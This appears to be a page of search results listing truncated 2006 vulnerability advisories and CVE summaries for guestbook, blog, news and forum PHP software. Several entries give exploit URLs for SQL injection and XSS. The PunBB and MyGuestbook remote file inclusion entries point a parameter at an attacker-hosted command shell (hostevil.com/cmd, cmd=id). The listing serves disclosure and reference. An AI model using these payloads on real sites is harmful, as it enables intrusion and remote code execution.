1771 matches found
HYSA-2006-006-g-book.txt
------------------------------------------------------ HYSA-2006-006 h4cky0u.org Advisory 015 ------------------------------------------------------ Date - Mon March 27 2006 TITLE: ====== G-Book 1.0 XSS, Possible authentication bypass & mass message flood SEVERITY: ========= High SOFTWARE:...
CVE-2006-1398
Cross-site scripting XSS vulnerability in guestbook.php in G-Book 1.0 allows remote attackers to inject arbitrary web script or HTML via the gmessage parameter...
Cross site scripting
Cross-site scripting XSS vulnerability in guestbook.php in G-Book 1.0 allows remote attackers to inject arbitrary web script or HTML via the gmessage parameter...
CVE-2006-1398
The CVE-2006-1398 entry describes a Cross-site scripting (XSS) vulnerability in G-Book 1.0, specifically in guestbook.php where the g_message parameter can be exploited by remote attackers to inject arbitrary web script or HTML. The vulnerability is caused by inadequate sanitization of input, all...
CVE-2006-1398
Cross-site scripting XSS vulnerability in guestbook.php in G-Book 1.0 allows remote attackers to inject arbitrary web script or HTML via the gmessage parameter...
[Full-disclosure] HYSA-2006-006 G-Book 1.0 XSS And Other Vulnerabilities
------------------------------------------------------ HYSA-2006-006 h4cky0u.org Advisory 015 ------------------------------------------------------ Date - Mon March 27 2006 TITLE: ====== G-Book 1.0 XSS, Possible authentication bypass & mass message flood SEVERITY: ========= High SOFTWARE:...
SPIP < 1.8.2-g SQL Injection and XSS Flaws
The remote web server has a PHP application that is affected by multiple flaws. Description: The remote host is running SPIP, an open-source CMS written in PHP. The remote version of this software is prone to SQL injection and cross site scripting attacks. An attacker could send specially crafted...
Cross site scripting
Cross-site scripting XSS vulnerability in recherche.php3 in SPIP 1.8.2-g allows remote attackers to inject arbitrary web script or HTML via the recherche parameter...
DEBIAN-CVE-2006-1295
Cross-site scripting XSS vulnerability in recherche.php3 in SPIP 1.8.2-g allows remote attackers to inject arbitrary web script or HTML via the recherche parameter...
CVE-2006-1295
Cross-site scripting XSS vulnerability in recherche.php3 in SPIP 1.8.2-g allows remote attackers to inject arbitrary web script or HTML via the recherche parameter...
FantasticSQL.txt
Software: Fantastic News Web Site: http://www.fscripts.com Versions: 2.1.1 Type: 2 SQL Injection Class: Remote Exploit : 1- http://www.target.com/news.php?action=news&category=|sql 2- http://www.target.com/news.php?page=|sql Discovered by: SAUDI L-G-H Team http://www.lezr.com Regards ///...
D3JeebSQL.txt
Software: D3Jeeb Web Site: http://www.tl4s.com Versions: tested on D3Jeeb Pro 3 Type: SQL Injection Class: Remote Vulnerable script: fastlinks.php catogary.php Exploit : 1- http://www.target.com/fastlinks.php?catid=SQL 2- http://www.target.com/catogary.php?catid=SQL Discovered by: SAUDI L-G-H Tea...
2 SQL Injection in d3jeeb
Software: D3Jeeb Web Site: http://www.tl4s.com Versions: tested on D3Jeeb Pro 3 Type: SQL Injection Class: Remote Vulnerable script: fastlinks.php catogary.php Exploit : 1- http://www.target.com/fastlinks.php?catid=SQL 2- http://www.target.com/catogary.php?catid=SQL Discovered by: SAUDI L-G-H Tea...
2 SQL Injection in Fantastic News
Software: Fantastic News Web Site: http://www.fscripts.com Versions: 2.1.1 Type: 2 SQL Injection Class: Remote Exploit : 1- http://www.target.com/news.php?action=news&category=|sql 2- http://www.target.com/news.php?page=|sql Discovered by: SAUDI L-G-H Team http://www.lezr.com Regards ///...
ar-blogv5.2.txt
Software: ar-blog Web Site: http://www.ar-blog.com Versions: ar-blog v 5.2 Type: Cross Site Scripting Class: Remote Exploit : 1- http://www.target.com/index.php?page=showtopis&month=XSS&year=1426&all=9 2- http://www.target.com/index.php?page=showtopis&month=9&year=XSS&all=9 Example : 1-...
-2- [XSS] in ar-blog v 5.2
Software: ar-blog Web Site: http://www.ar-blog.com Versions: ar-blog v 5.2 Type: Cross Site Scripting Class: Remote Exploit : 1- http://www.target.com/index.php?page=showtopis&month=XSS&year=1426&all=9 2- http://www.target.com/index.php?page=showtopis&month=9&year=XSS&all=9 Example : 1-...
Remote File Inclusion in forum PunBB
Remote File Inclusion in forum PunBB Date:24/10/2005 Severity: High version: 1.1.2 1.1.5 The bug reside in common.php Exploit : http://www.host.com/forum/include/common.php?punroot=http://www.hostevil.com/cmd?&=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com FREE pop-up blocking with the...
Remote File Inclusion in MyGuestbook
Remote File Inclusion in MyGuestbook Date: 10/07/2005 Severity: High version: 0.6.1 The bug reside in form.inc.php3 The Vulnerable Code if $show 1 include "form.inc.php3"; Exploit : http://server/Guestbook/form.inc.ph...cmd.gif?&cmd=id Discovery by RoDheDoR L-G-H Team http://www.lezr.com Best...